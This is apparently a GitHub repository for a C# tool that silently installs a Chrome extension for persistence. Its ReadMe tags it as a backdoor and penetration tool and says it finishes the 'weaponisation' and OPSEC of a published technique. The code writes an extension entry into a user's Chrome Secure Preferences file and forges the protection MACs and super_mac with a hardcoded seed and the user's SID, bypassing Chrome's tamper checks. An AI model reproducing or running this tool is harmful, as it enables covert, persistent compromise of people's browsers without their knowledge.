├── Chrome插件静默安装.pdf ├── Program.cs └── ReadMe.md /Chrome插件静默安装.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/ChromeExtensionInstall/e0e24ae206e417dcc25948141127619bca14e7ee/Chrome插件静默安装.pdf -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Security.Cryptography; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using Newtonsoft.Json; 9 | using Newtonsoft.Json.Linq; 10 | 11 | public class Program 12 | { 13 | public static void Main(string[] args) 14 | { 15 | if (args.Length < 1) 16 | { 17 | Console.WriteLine("Usage: ProgramName "); 18 | return; 19 | } 20 | string defaultExtensionInfo = "ReadMe.txt"; 21 | string extensionsPath = args[0]; 22 | string defaultReadMePath = Path.Combine(extensionsPath, defaultExtensionInfo); 23 | if (!File.Exists(defaultReadMePath)) 24 | { 25 | return; 26 | } 27 | string extId = ComputeExtensionId(extensionsPath); 28 | string userName = GetUserName(); 29 | string extensionInfo = File.ReadAllText(defaultReadMePath); 30 | string newExtensionInfo = extensionInfo.Replace("<>", extensionsPath.Replace(@"\", @"\\")); 31 | string path = $"extensions.settings.{extId}"; 32 | WindowsIdentity identity = WindowsIdentity.GetCurrent(); 33 | string sid = ExtractPrefixSid(identity.User.Value); 34 | byte[] seed = new byte[] { 0xE7, 0x48, 0xF3, 0x36, 0xD8, 0x5E, 0xA5, 0xF9, 0xDC, 0xDF, 0x25, 0xD8, 0xF3, 0x47, 0xA6, 0x5B, 0x4C, 0xDF, 0x66, 0x76, 0x00, 0xF0, 0x2D, 0xF6, 0x72, 0x4A, 0x2A, 0xF1, 0x8A, 0x21, 0x2D, 0x26, 0xB7, 0x88, 0xA2, 0x50, 0x86, 0x91, 0x0C, 0xF3, 0xA9, 0x03, 0x13, 0x69, 0x68, 0x71, 0xF3, 0xDC, 0x05, 0x82, 0x37, 0x30, 0xC9, 0x1D, 0xF8, 0xBA, 0x5C, 0x4F, 0xD9, 0xC8, 0x84, 0xB5, 0x05, 0xA8 }; 35 | string hmac = CalculateHMAC(newExtensionInfo, path, sid, seed); 36 | string filepath = $"C:\\users\\{userName}\\appdata\\local\\Google\\Chrome\\User Data\\Default\\Secure Preferences"; 37 | var data = JsonConvert.DeserializeObject(File.ReadAllText(filepath)); 38 | JObject jobj = JObject.Parse(newExtensionInfo); 39 | data["extensions"]["settings"][extId] = jobj; 40 | data["protection"]["macs"]["extensions"]["settings"][extId] = hmac; 41 | string supermac = CalcSuperMac(data, sid, seed); 42 | data["protection"]["super_mac"] = supermac; 43 | File.WriteAllText(filepath, JsonConvert.SerializeObject(data)); 44 | 45 | } 46 | public static string ExtractPrefixSid(string fullSid) 47 | { 48 | int lastDashIndex = fullSid.LastIndexOf('-'); 49 | 50 | if (lastDashIndex != -1) 51 | { 52 | return fullSid.Substring(0, lastDashIndex); 53 | } 54 | return fullSid; 55 | } 56 | static string ComputeExtensionId(string path) 57 | { 58 | using (SHA256 sha256 = SHA256.Create()) 59 | { 60 | byte[] pathBytes = Encoding.Unicode.GetBytes(path); 61 | 62 | byte[] hashBytes = sha256.ComputeHash(pathBytes); 63 | string hexHash = BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); 64 | 65 | StringBuilder extIdBuilder = new StringBuilder(); 66 | foreach (char c in hexHash) 67 | { 68 | int charValue = Convert.ToInt32(c.ToString(), 16); 69 | extIdBuilder.Append((char)((charValue % 26) + 'a')); 70 | if (extIdBuilder.Length >= 32) 71 | break; 72 | } 73 | 74 | string extId = extIdBuilder.ToString(); 75 | 76 | return extId; 77 | } 78 | } 79 | public static string GetUserName() 80 | { 81 | WindowsIdentity windowsIdentity = WindowsIdentity.GetCurrent(); 82 | 83 | if (windowsIdentity != null) 84 | { 85 | string userName = windowsIdentity.Name; 86 | int index = userName.IndexOf("\\"); 87 | if (index != -1) 88 | { 89 | userName = userName.Substring(index + 1); 90 | } 91 | 92 | return userName; 93 | } 94 | else 95 | { 96 | return null; 97 | } 98 | } 99 | public static string GenerateRandomString(int length) 100 | { 101 | const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 102 | Random random = new Random(); 103 | char[] stringChars = new char[length]; 104 | 105 | for (int i = 0; i < length; i++) 106 | { 107 | stringChars[i] = chars[random.Next(chars.Length)]; 108 | } 109 | 110 | return new string(stringChars); 111 | } 112 | 113 | public static string CalculateHMAC(string jsonString, string path, string sid, byte[] seed) 114 | { 115 | JObject jsonObject = JObject.Parse(jsonString); 116 | RemoveEmpty(jsonObject); 117 | 118 | string processedJsonString = JsonConvert.SerializeObject(jsonObject, Formatting.None, new JsonSerializerSettings 119 | { 120 | StringEscapeHandling = StringEscapeHandling.EscapeNonAscii 121 | }).Replace("<", "\\u003C").Replace("\\u2122", "™"); 122 | 123 | string message = sid + path + processedJsonString; 124 | using (HMACSHA256 hmac = new HMACSHA256(seed)) 125 | { 126 | byte[] hashValue = hmac.ComputeHash(Encoding.UTF8.GetBytes(message)); 127 | return BitConverter.ToString(hashValue).Replace("-", "").ToUpper(); 128 | } 129 | } 130 | private static string CalcSuperMac(JObject data, string sid, byte[] seed) 131 | { 132 | var protection = data["protection"] as JObject; 133 | var macs = protection["macs"] as JObject; 134 | var superMsg = sid + JsonConvert.SerializeObject(macs).Replace(" ", ""); 135 | Console.WriteLine(superMsg); 136 | using (var hmac = new HMACSHA256(seed)) 137 | { 138 | byte[] hashValue = hmac.ComputeHash(Encoding.UTF8.GetBytes(superMsg)); 139 | return BitConverter.ToString(hashValue).Replace("-", "").ToUpper(); 140 | } 141 | } 142 | private static void RemoveEmpty(JToken token) 143 | { 144 | if (token.Type == JTokenType.Object) 145 | { 146 | var obj = (JObject)token; 147 | var propertiesToRemove = new List(); 148 | 149 | foreach (var prop in obj.Properties()) 150 | { 151 | RemoveEmpty(prop.Value); 152 | if (IsEmpty(prop.Value)) 153 | { 154 | propertiesToRemove.Add(prop); 155 | } 156 | } 157 | 158 | foreach (var prop in propertiesToRemove) 159 | { 160 | prop.Remove(); 161 | } 162 | } 163 | else if (token.Type == JTokenType.Array) 164 | { 165 | var array = (JArray)token; 166 | var itemsToRemove = new List(); 167 | 168 | foreach (var item in array) 169 | { 170 | RemoveEmpty(item); 171 | if (IsEmpty(item)) 172 | { 173 | itemsToRemove.Add(item); 174 | } 175 | } 176 | 177 | foreach (var item in itemsToRemove) 178 | { 179 | item.Remove(); 180 | } 181 | } 182 | } 183 | 184 | private static bool IsEmpty(JToken token) 185 | { 186 | if (token.Type == JTokenType.Object) 187 | { 188 | return !token.HasValues; 189 | } 190 | if (token.Type == JTokenType.Array) 191 | { 192 | return !token.HasValues; 193 | } 194 | if (token.Type == JTokenType.String) 195 | { 196 | return string.IsNullOrEmpty(token.ToString()); 197 | } 198 | if (token.Type == JTokenType.Null) 199 | { 200 | return true; 201 | } 202 | return false; 203 | } 204 | } -------------------------------------------------------------------------------- /ReadMe.md: -------------------------------------------------------------------------------- 1 | #backdoor #Chrome #渗透 2 | 3 | 4 | 看到文章[Silently Install Chrome Extension For Persistence](https://syntax-err0r.github.io/Silently_Install_Chrome_Extension.html)觉得比较有趣,粗略的看了一下。 5 | 6 | #### 优点 7 | - no command line parameters 8 | - persistent 9 | - can be installed while in use but it wont re-load until chrome restarts so it is up to you if you want to kill chrome 10 | - no registry edits 11 | 12 | 作者说自己并没有完全武器化,还有几处OPSEC没说,让读者自己完成,那么来补充一下。 13 | 14 | 15 | 16 | 具体使用参考`Chrome插件静默安装.pdf` 17 | --------------------------------------------------------------------------------